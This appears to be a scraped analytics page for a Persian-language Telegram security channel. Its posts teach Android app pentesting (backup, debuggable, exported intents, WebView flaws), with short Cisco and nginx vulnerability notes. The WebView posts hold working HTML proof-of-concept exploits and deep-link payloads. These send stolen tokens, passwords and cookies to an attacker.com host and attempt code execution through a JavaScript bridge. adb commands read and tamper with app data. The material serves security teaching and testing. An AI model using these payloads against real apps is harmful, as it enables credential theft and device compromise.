Security Analysis
- Offensive Security (Red Teaming / PenTesting) - BlueTeam (OperationSec, TreatHunting, DFIR) - Reverse Engineering / Malware Analysis - Web Security - Cryptography - Steganography - Forensics Contact : @DrPwner
显示更多📈 Telegram 频道 Security Analysis 的分析概览
频道 Security Analysis (@securation) 波斯语 语言赛道中的 是活跃参与者。目前社区聚集了 11 711 名订阅者,在 技术与应用 类别中位列第 10 698,并在 伊朗 地区排名第 27 232 位。
📊 受众指标与增长动态
自 невідомо 创建以来,项目保持高速增长,吸引了 11 711 名订阅者。
根据 08 六月, 2026 的最新数据,频道保持稳定运转。过去 30 天订阅人数变化为 197,过去 24 小时变化为 10,整体触达仍然可观。
- 认证状态: 未认证
- 互动率 (ER): 平均受众互动率为 27.57%。内容发布后 24 小时内通常能获得 8.06% 的反应,占订阅者总量。
- 帖子覆盖: 每篇帖子平均可获得 3 229 次浏览,首日通常累积 944 次浏览。
- 互动与反馈: 受众积极参与,单帖平均反应数为 15。
- 主题关注点: 内容集中在 ابزار, شناسایی, next.js, مهاجم, داده 等核心主题上。
📝 描述与内容策略
作者将该频道定位为表达主观观点的平台:
“- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner”
凭借高频更新(最新数据采集于 09 六月, 2026),频道始终保持新鲜度与高覆盖。分析显示受众积极互动,使其成为 技术与应用 类别中的关键影响点。
C2 server fingerprinter — Cobalt Strike, Sliver, Mythic, Havoc, Brute Ratel#infosec #C2 #ThreatHunting @securation
این فلگ در AndroidManifest.xml تعیین میکند که ایا سیستم اجازه دارد از دیتا های روت برنامه برای کاربر بکاپ بگیرد یا خیر، اگر مقدار این فلگ true باشد مهاجمی که دسترسی فیزیکی به دستگاه دارد با استفاده از adb میتواند تمامی دیتا های روت برنامه را استخراج کند(در اندروید 12 به بعد باید حتما فلگ debuggable نیز true باشد) که این دیتا شامل دیتابیس ها، SharedPreferences و تمامی فایل های ذخیره شده در روت برنامه می باشد!(بدون اینکه دستگاه روت شده باشد) این آسیب پذیری زمانی بحرانی میشود که اپ اطلاعات حساسی مانند توکن اهراز هویت، کلید های رمزنگاری و یا اطلاعات خصوصی کاربر را در مسیر روت ذخیره کرده باشد؛ راهکار امنیتی مطابق استاندارد MASTG غیر فعال کردن فلگ بکاپ در نسخه ریلیز برنامه میباشد، یا در صورت نیاز به امکان بکاپ، میبایست از طریق backup_rules.xml امکان بکاپ گیری از فایل های حساس را جلوگیری نمود
#backup
adb backup -apk com.example.app -f backup.ab
#restore
adb restore backup.ab
استخراج داده ها از فایل بکاپ backup.ab توسط ابزار abe:
https://github.com/nelenkov/android-backup-extractor
2) debuggable:
این فلگ نیز در AndroidManifest.xml قرار دارد، اگر این فلگ برای یک اپ در نسخه ریلیز برابر true باشد، یک آسیب پذیری جدی محسوب میشود؛ چراکه مهاجم میتواند با استفاده از ابزار هایی مانند jdb به پروسه اپ متصل شده مقادیر متغیر های حساس در حافظه مثل توکن اهراز هویت یا کلید های api را بخواند و یا حتی flow اجرای برنامه را تغییر دهد، همچنین در اندروید 12 به بعد پیش شرط اجرای موفق دستور adb backup برای استخراج دیتای برنامه است، علاوه براین به واسطه دستور run-as که از adb shell در دسترس است میتوان به دایرکتوری روت اپ دیباگیبل دسترسی داشت و حتی فایل های آنرا ویرایش کرد و سو استفاده های لازم را به انجام رساند! بنابراین لازم است که در نسخه ریلیز و موقع انتشار عمومی برنامه مقدار این فلگ را برابر false قرار دهید
# printing the content of SharedPref
adb shell "run-as com.target.app cat shared_prefs/AppPref.xml"
# listing all db names
adb shell "run-as com.target.app ls -la databases/"
# manipulating isLoggedIn to true using sed
adb shell "run-as com.target.app sed -i 's/isLoggedIn\" value=\"false\"/isLoggedIn\" value=\"true\"/' shared_prefs/AppPref.xml"
# backing up entire directory
adb shell "run-as com.target.app tar -czf - /data/data/com.target.app" > backup.tar.gz
@securation
#Android #RE #Owasp #Mastg #allowBackup->authenticated بدون هیچگونه بررسی گواهی یا امضای سختافزاری روی True تنظیم میشود،به واسطه این نقص در فرآیند احراز هویت، مهاجم میتواند از طریق پیام نوع ۱۴، کلید خود را مستقیماً به فایل authorized_keys کاربر سطح بالای vmanage-admin تزریق کرده و دسترسی دائمی برای اجرای دستورات NETCONF روی پورت ۸۳۰ به دست آورد .
با توجه به اینکه هیچ راهکار موقتی (Workaround) برای این نقص وجود ندارد، ارتقای فوری به نسخههای اصلاحشده جهت جلوگیری از نفوذ کامل به زیرساخت توصیه میشود .
#RedTeam #Cisco #vulnerability_Analysis
@securationWebView webview = new WebView(this);
WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(this), "Android");
webView.loadUrl(getIntent().getStringExtra("url"));
کد اکسپلویت کامل
<!DOCTYPE html>
<html>
<head>
<title>POC - WebView addJavascriptInterface</title>
</head>
<body>
<h2> Exploiting addJavascriptInterface</h2>
<div id="result"></div>
<script>
// مرحله 1: سرقت دیتا از متدهای exposed
try {
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
document.getElementById('result').innerHTML +=
'<p>Stolen: ' + method + ' = ' + data + '</p>';
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
}
} catch(e) {}
}
} catch(e) {}
// مرحله 2: RCE (فقط در صورتی که getContext در کلاس جاوا تعریف شده باشه)
try {
var context = window.Android.getContext();
var classLoader = context.getClassLoader();
var Runtime = classLoader.loadClass('java.lang.Runtime')
.getMethod('getRuntime', null)
.invoke(null, null);
Runtime.exec(['su', '-c', 'id']);
document.getElementById('result').innerHTML += '<p> RCE Successful!</p>';
} catch(e) {
document.getElementById('result').innerHTML +=
'<p> RCE not possible (no chain method)</p>';
}
</script>
</body>
</html>
نسخه سادهتر (سرقت دیتا از متود های اکسپوزد)
<!DOCTYPE html>
<html>
<head>
<title>POC</title>
</head>
<body>
<script>
// سرقت دیتای هر متدی که در کلاس جاوا وجود داره
var methods = ['getUserToken', 'getUserId', 'getEmail', 'getPassword'];
for (var method of methods) {
try {
var data = window.Android[method]();
if (data) {
fetch('http://attacker.com/steal?data=' + encodeURIComponent(data));
alert('Stolen: ' + data);
}
} catch(e) {}
}
</script>
</body>
</html>
نکته: این POC فرض میکنه که متدهایی مثل getUserToken() یا getPassword() در کلاس جاوا وجود دارن.
نکته مهم تر! اینکه برای رسیدن به RCE کامل به واسطه رفلکشن در اندروید های بالاتر از 4.2+ امکان پذیر نیست مگر اینکه در کلاس جاوا فانکشنی توسط برنامه نویس تعریف شده باشد که Context آن اکتیویتی را ریترن کند!!
برای مطالعه بیشتر: Owasp MASTG
@securation
#Android #RE #Owasp #Mastg #webviewفعال شدن جاوااسکریپت = راه ورود XSS. مهاجم میتونه اسکریپت مخرب تزریق کنه و توکن یا اطلاعات کاربر رو بدزده.
# تزریق مستقیم javascript در WebView
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert('XSS')"
# تزریق از طریق دیپ لینک با payload
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://webview?url=javascript:document.location='http://attacker.com/steal?c='document.cookie"
2) setAllowUniversalAccessFromFileUrls(true)
اجازه میده فایلهای HTML به همه فایل scheme ها و محتوای هر origin دیگه ای دسترسی داشته باشن (دیسیبل شدن SOP). مهاجم میتونه فایلهای دیتابیس و SharedPreferences رو بخونه.
# خواندن فایل SharedPreferences
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/shared_prefs/config.xml"
# خواندن دیتابیس اپ
adb shell am start -n com.target.app/.WebViewActivity -d "file:///data/data/com.target.app/databases/app.db"
3) addJavascriptInterface
بسیار خطرناک! مهاجم میتونه از طریق JS، متدهای کلاس متصل شده رو فراخوانی کنه و به کد native دسترسی پیدا کنه → RCE کامل روی دستگاه.
# تست وجود interface با alert
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:alert(Object.keys(window))"
# اگر interface با نام "bridge" وجود داشت، اجرای فرمان
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getClass().forName('java.lang.Runtime').getMethod('exec','java.lang.String[]').invoke(null,['su','-c','id'])"
#فراخوانی یک متد از کلاس جاوا و نشت توکن کاربر(تنها در صورتی که متد در کلاس جاوا تعریف شده باشد)
adb shell am start -n com.target.app/.WebViewActivity -d "javascript:bridge.getUserToken()"
4) setAllowContentAccess(true)
اجازه دسترسی به Content Provider ها از طریق content://، مهاجم میتونه دیتابیسهای داخلی، مخاطبین، یا فایلهای حساس اپ رو بدزده.
# دسترسی به دیتابیس اپ از طریق Content Provider
adb shell am start -n com.target.app/.WebViewActivity -d "content://com.target.app.provider/users"
# دسترسی به مخاطبین دستگاه (اگر Permission داشته باشه)
adb shell am start -n com.target.app/.WebViewActivity -d "content://contacts/phones/"
5) لود URL از ورودی کاربر
اگر loadUrl() مقدارش از Intent، دیپ لینک یا هر ورودی خارجی بیاد، مهاجم میتونه حملات زیر رو ترتیب بده:
Scheme | حمله -----------------+------------------------------------ `javascript://` | XSS `file://` | خواندن فایل `intent://` | ریدایرکت به اکتیویتی غیراکسپورت شده `data:text/html` | XSS مستقیم
# تست javascript scheme
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=javascript:alert('xss')"
# تست file scheme برای خواندن فایل
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/token.xml"
# تست intent scheme برای ردایرکت به Activity غیر اکسپورت شده
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=intent:#Intent;component=com.target.app/.PrivateActivity;end"
# تست data:text/html برای XSS مستقیم
adb shell am start -n com.target.app/.WebViewActivity -d "myapp://open?url=data:text/html,<script>alert('XSS')</script>"
📌 نکته مهم وب ویویی که exported نباشد، فقط لانچ مستقیم را مسدود میکند. اگر اپ از طریق deeplink، Notification، Broadcast، یا Content Provider به WebView برسد، همه آسیبپذیریها همچنان قابل بهرهبرداری هستند. پس در پنتست: • اول مسیرهای رسیدن به WebView را پیدا کنید! (deeplink، Broadcast، Content Provider) • بعد آن مسیرها را برای ارسال payloadهای مخرب تست کن✅ چکلیست پنتست: • مسیرهای رسیدن به WebView رو پیدا کن (deeplink، Broadcast، Content Provider) • تست XSS با
javascript:alert()
• تست خواندن فایل با file:///data/data/...
• تست JavaScript Interface با Object.keys(window)
• تست Content Provider با content://...
@securation
#Android #RE #Owasp #Mastg #webview<activity android:name=".AttackerActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
و در کد به شکل زیر فراخوانی انجام میشود
Intent intent = new Intent("android.intent.action.MAIN");
intent.setComponent(new ComponentName("com.target.app", "com.target.app.SecretActivity"));
//intent.putExtra("password","123")
startActivity(intent);
@securation
#Android #RE #Owasp #Mastg #Intent#intent without extras
adb shell am start -n "com.package.name/.TargetActivity"
#intent with extras
adb shell am start -n "com.package.name/.TargetActivity" --es Name "Ali" --ei Age 18 --ez isAdmin true
#intent with custom category + deeplink
adb shell am start -n "com.package.name/.TargetActivity"\
-a android.intent.action.VIEW \
-c android.intent.category.DEFAULT \
-c android.intent.category.BROWSABLE \
-d "myapp://com.package.name/Access/HiddenSettings"
شما برای پنتست اینتنت ها ابتدا لازم است که اینتنت هایی که مقدار exported برابر true هست پیدا کنید اگر یک اکتیویتی به جز اکتیویتی Main مقدار exported آن برابر true باشد به عنوان یک مشکل امنیتی بالقوه به حساب می آید!
اگر اکتیویتی دیگری به جز Main را بنابه دلایلی ناچار شدید مقدار exported آنرا true کنید باید حتما داخل آن اکتیویتی چک شود که اینتنت این اکتیویتی به واسطه اکتیویتی دیگری از خود برنامه لانچ شده است یا مستقیما به واسطه adb shell یا دیگر برنامه های نصب شده روی سیستم عامل؛ در صورت لانچ شدن آن به واسطه اپ های دیگر یا adb shell باید جلوی اجرای برنامه گرفته شود یا به کرش منجر شود یا به یک اینتنت دیگر مثل صفحه لاگین ریدایرکت شود در غیر اینصورت برنامه ما دارای یک مشکل امنیتی بالقوه است!
مثال عملی:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// بررسی اینکه Intent از کجا آمده
if (isIntentFromExternalApp()) {
finish(); // بستن Activity
return;
}
setContentView(R.layout.activity_sensitive);
}
private boolean isIntentFromExternalApp() {
String callingPackage = getCallingPackage();
if (callingPackage == null) {
// یعنی با adb یا مستقیما از لانچر باز شده
return true;
}
// بررسی اینکه صداکننده خود برنامه است یا یک اپ اندرویدی دیگر
return !callingPackage.equals(getPackageName());
}
متود getCallingPackage() نام پکیج اپلیکیشنی را برمیگرداند که این Intent را فرستاده.
· اگر null بود → یعنی از adb یا لانچر بیرون از برنامه صدا زده شده.
· اگر برابر با getPackageName() نبود → یعنی از اپ دیگر آمده.
@securation
#Android #RE #Owasp #Mastg #Intentrewrite ^/users/([0-9]+)/(.*)$ /index.php?id=$1&tab=$2 last;
در صورتی که امکان بهروزرسانی برای شما وجود ندارد، توصیه میشود در تنظیمات بازنویسی آدرسها (Rewrite)، به جای استفاده از Unnamed Captures از Named Captures استفاده کنید.
https://nvd.nist.gov/vuln/detail/CVE-2026-42945
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
